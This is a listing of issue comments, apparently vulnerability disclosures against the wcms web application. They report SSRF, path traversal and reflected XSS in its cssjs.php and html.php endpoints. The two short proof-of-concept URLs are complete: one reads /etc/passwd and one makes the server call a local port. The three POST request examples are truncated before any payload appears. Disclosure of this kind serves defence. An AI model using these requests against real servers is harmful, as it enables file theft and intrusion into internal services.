Gerasimov Alexandr

Results 5 comments of Gerasimov Alexandr

SSRF Vulnerability in wcms/wcms/wex/cssjs.php

Here is a POC: ``` http://127.0.0.1:8100/wex/cssjs.php?path=http://127.0.0.1:60001 ``` I was listening 60001 local port and got a request from backend.

Path Traversal vulnerability in wcms/wcms/wex/cssjs.php

Here is POC: ``` http://127.0.0.1:8100/wex/cssjs.php?path=/etc/passwd ```

Path Traversal vulnerability in wcms/wex/html.php

Here is POC: ``` POST /wex/html.php HTTP/1.1 Host: 127.0.0.1:8100 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.17763 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate...

Reflected XSS vulnerability in wcms/wex/html.php

Here is POC: ``` POST /wex/html.php HTTP/1.1 Host: 127.0.0.1:8100 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.17763 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate...

SSRF Vulnerability in wcms/wcms/wex/html.php

Here is POC: ``` POST /wex/html.php HTTP/1.1 Host: 127.0.0.1:8100 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/83.17763 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate...